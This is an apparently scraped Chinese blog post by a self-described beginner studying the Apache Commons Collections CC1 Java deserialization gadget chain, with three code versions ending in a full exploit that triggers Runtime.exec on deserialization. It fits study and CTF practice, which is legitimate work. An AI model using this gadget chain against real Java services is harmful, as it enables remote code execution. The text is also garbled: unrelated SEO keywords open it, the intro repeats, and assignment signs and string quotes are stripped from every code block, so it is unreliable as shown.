网站后台查询软件,义乌跨境电商公司前十名,广厦建设集团官方网站,公司简介范文(共10篇)来劲了#xff0c;感觉离真正的CTF又近了一步。
本文仅从一个萌新的角度去谈#xff0c;如有纰漏#xff0c;纯属蒟蒻。
目录
CC链概念
CC链学习前置知识
CC1链
Version1
Version2
Version3 CC链概念
CC链 Commons Collections apache组织发布的开源库
里面主要对…来劲了感觉离真正的CTF又近了一步。
本文仅从一个萌新的角度去谈如有纰漏纯属蒟蒻。
目录
CC链概念
CC链学习前置知识
CC1链
Version1
Version2
Version3 CC链概念
CC链 Commons Collections apache组织发布的开源库
里面主要对集合的增强以及扩展类 被广泛使用 如HashMap HashTable ArrayList
总结一下CC链就是有反序列化入口同时有cc库的情况下如何进行rce或者文件读取 CC链学习前置知识
Transformer
特征
1 是一个接口 2 有一个transformer方法传入一个参数object穿出一个参数object 3 有点像 转接头 扩展坞 实现类
ConstantTransformer 常量转换器 传入任何值 传出的都是固定值
InvokerTransformer 反射调用转换器 传入方法名方法参数类型 方法参数 进行反射调用
ChainedTransformer 链式转换器 分别调用传入的transformer类数组的transformer方法 新的数据结构
TransformerMap 分别可以对 key 和value 执行构造参数里面的transformer转换 CC1链
网上资源有很多就不班门弄斧了更多去谈自己做的过程的想法。
贴出一篇CC1链详解 总结一下就是下面这些步骤
1 ChainedTransformer 配合ConstantTransformer和InvokerTransformer可以执行任意类的任意方法
2 将ChainedTransformer放入TransformerMap后只要调用TransformerMap的checkSetValue方法就能够调用value对象的transform方法从而RCE
3 我们要找到一个类它的属性可以设置为 TransformerMap 然后它调用了这个属性的checkSetValue方法
4 找到了AnnotationInvocationHandler类里面的readObject方法 调用了setValue方法
5 setValue方法调用了 TransformerMap 的checkValue方法
6 checkValue方法调用了 Transformer.transform 方法
最终完成了攻击链条 我做了三个版本迭代前两个版本不涉及反序列化就是自己测一测其中第二个版本后作死尝试尝试去走put触发transform方法最终失败于是老老实实走了前人的大路。 Version1
package main;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;public class Test1 {public static void main(String[] args) {ConstantTransformer constantTransformer new ConstantTransformer(Runtime.getRuntime());InvokerTransformer invokerTransformer new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc});ChainedTransformer chainedTransformer new ChainedTransformer(new Transformer[]{constantTransformer, invokerTransformer});chainedTransformer.transform(Z3r4y);}
}
这里其实就是利用ChainedTransformer的特性把上一个transformer调用transform方法的返回值(得益于“扩展坞”的特性Object进Object出)传递给下一个transformer对象作为其transform方法调用的参数以此类推。 再加上ConstantTransformer无论输入什么值输出的值都是可控的定值的特性即可以传递给下一个transformer类一个可控的对象 配合InvokerTransformer调用方法参数类型参数均可控便可以执行任意类的任意方法
这个版本告诉我们只要可以触发ChainedTransformer的transform方法就可以触发一条链的transform方法最终实现RCE Version2
package main;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;public class Test2 {public static void main(String[] args) {ConstantTransformer constantTransformer new ConstantTransformer(Runtime.getRuntime());InvokerTransformer invokerTransformer new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc});ChainedTransformer chainedTransformer new ChainedTransformer(new Transformer[]{constantTransformer, invokerTransformer});HashMap hashMap new HashMap();TransformedMap transformedMap (TransformedMap) TransformedMap.decorate(hashMap, chainedTransformer, null);transformedMap.put(Z3r4y,aaa);}
}这里就是尝试找办法触发ChainedTransformer的transform方法借鉴前人我们用了HashMap和transformedMap这两个数据结构然后神奇的发现transformedMap在修饰HashMap的kv对时会分别调用传入Transformer对象的transform方法。 我们已经找到可以触发Version1的方法但这还是不能达到可配合反序列化的目的按思路走我们下一步应该找一个类的readObject方法其中调用同名的put方法。 Version3
绷不住了就这卡的时间最长确实没找到调用put的readObject方法选择放弃未必不是明智之举。
下面都是说烂的东西
AnnotationInvocationHandler类里面的readObject方法 调用了setValue方法
setValue方法调用了 TransformerMap 的checkValue方法
checkValue方法调用了 Transformer.transform 方法
最终完成了攻击链条
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import util.SerializeUtil;import java.io.IOException;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;public class exp {public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException, InstantiationException {Transformer[] transformers new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}),new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc})};Transformer chainedTransformer new ChainedTransformer(transformers);HashMap hashMap new HashMap();hashMap.put(value, xxx);TransformedMap transformedMap (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);Class cls Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor ctor cls.getDeclaredConstructor(Class.class, Map.class);ctor.setAccessible(true);Object instance ctor.newInstance(Retention.class, transformedMap);byte[] data SerializeUtil.serialize(instance);SerializeUtil.unSerialize(data);}
}
序列化反序列化的工具类
package util;import java.io.*;public class SerializeUtil {public static byte[] serialize(Object object) throws IOException {ByteArrayOutputStream byteArrayOutputStream new ByteArrayOutputStream();ObjectOutputStream objectOutputStream new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(object);objectOutputStream.close();return byteArrayOutputStream.toByteArray();}public static Object unSerialize(byte[] bytes) throws IOException, ClassNotFoundException {ByteArrayInputStream byteArrayInputStream new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream new ObjectInputStream(byteArrayInputStream);Object o objectInputStream.readObject();return o;}
}